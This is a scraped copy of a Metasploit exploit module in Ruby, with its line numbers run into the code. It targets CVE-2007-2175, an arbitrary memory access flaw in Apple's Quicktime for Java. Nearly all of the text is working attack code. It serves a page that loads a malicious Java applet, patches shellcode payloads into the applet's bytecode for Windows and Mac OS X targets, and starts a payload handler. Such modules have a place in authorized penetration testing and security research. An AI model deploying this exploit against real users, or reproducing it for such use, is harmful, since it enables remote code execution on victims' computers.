Path: blob/master/modules/exploits/multi/browser/qtjava_pointer.rb
31220 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',18'Description' => %q{19This module exploits an arbitrary memory access vulnerability in the20Quicktime for Java API provided with Quicktime 7.21},22'License' => MSF_LICENSE,23'Author' => [24'hdm', # Original exploit for Mac OS X PPC / Win3225'kf', # Added support for Mac OS X X8626'ddz' # Discovered bug, provided tips27],28'References' => [29['CVE', '2007-2175'],30['OSVDB', '34178'],31['BID', '23608'],32['ZDI', '07-023'],33],34'Payload' => {35'Space' => 1024,36'BadChars' => ''37},38'Targets' => [39#40# Problem with generic payloads + regenerate_payload still :(41#42# [ 'Quicktime 7 Automatic',43# {44# 'Platform' => ['win', 'osx'],45# 'Arch' => [ARCH_X86, ARCH_PPC]46# }47# ],48[49'Quicktime 7 on Windows x86',50{51'Platform' => 'win',52'Arch' => ARCH_X8653}54],55[56'Quicktime 7 on Mac OS X PPC',57{58'Platform' => 'osx',59'Arch' => ARCH_PPC60}61],62[63'Quicktime 7 on Mac OS X x86',64{65'Platform' => 'osx',66'Arch' => ARCH_X8667}68],69],70# 'DefaultTarget' => 0,71'DisclosureDate' => '2007-04-23',72'Notes' => {73'Reliability' => UNKNOWN_RELIABILITY,74'Stability' => UNKNOWN_STABILITY,75'SideEffects' => UNKNOWN_SIDE_EFFECTS76}77)78)79end8081def exploit82# load the class data83path = File.join(Msf::Config.data_directory, 'exploits', 'QTJavaExploit.class')84fd = File.open(path, 'rb')85@class_data = fd.read(fd.stat.size)86fd.close8788super89end9091def on_request_uri(cli, req)92# Create a cached mapping between IP and detected target93@targetcache ||= {}94@targetcache[cli.peerhost] ||= {}95@targetcache[cli.peerhost][:update] = Time.now.to_i9697if (target.name =~ /Automatic/)98case req.headers['User-Agent']99when /Windows/i100print_status('Choosing a Windows target')101@targetcache[cli.peerhost][:target] = targets[1]102when /PPC Mac OS X/i103print_status('Choosing a Mac OS X PPC target')104@targetcache[cli.peerhost][:target] = targets[2]105when /Intel Mac OS X/i106print_status('Choosing a Mac OS X x86 target')107@targetcache[cli.peerhost][:target] = targets[3]108end109end110111# Clean the cache112rmq = []113@targetcache.each_key do |addr|114if (Time.now.to_i > @targetcache[addr][:update] + 60)115rmq.push addr116end117end118119rmq.each { |addr| @targetcache.delete(addr) }120121# Request processing122123if (!req.uri.match(/\.class$/i))124125# Redirect to the base directory so the applet code loads...126if (!req.uri.match(%r{/$}))127send_redirect(cli, get_resource + '/', '')128return129end130131# Display the applet loading HTML132print_status('Sending HTML')133send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })134return135end136137# Send the actual applet over138print_status('Sending applet')139send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })140141# Handle the payload142handler(cli)143end144145def generate_html146return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"147end148149def generate_applet(cli, _req)150this_target = nil151if (target.name =~ /Automatic/)152if (@targetcache[cli.peerhost][:target])153this_target = @targetcache[cli.peerhost][:target]154else155return ''156end157else158this_target = target159end160161# make a copy..162data = @class_data.dup163164# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86165idx_targ = data.index("\x03\x10\xcc\x54")166167# 1024 bytes for shellcode168idx_code = data.index("\x03\x10\xf0\x54")169170# Handle Mac OS X PPC171if (this_target.arch.include?(ARCH_PPC))172tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)173data = patch_bytecode(idx_code, data, tp.encoded)174data = patch_bytecode(idx_targ, data, "\x01")175end176177# Handle Mac OS X x86 / Windows x86178if (this_target.arch.include?(ARCH_X86))179180if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))181tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)182data = patch_bytecode(idx_code, data, tp.encoded)183data = patch_bytecode(idx_targ, data, "\x03")184end185186if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))187tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)188data = patch_bytecode(idx_code, data, tp.encoded)189data = patch_bytecode(idx_targ, data, "\x02")190end191end192193return data194end195196def patch_bytecode(off, data, buff)197cnt = 0198off -= 1199while (cnt < buff.length)200cnt += 1201off += 1 until ((data[off - 1] == 0x10 && data[off + 1] == 0x54))202data[off] = buff[cnt - 1]203off += 1204end205206return data207end208209end210211212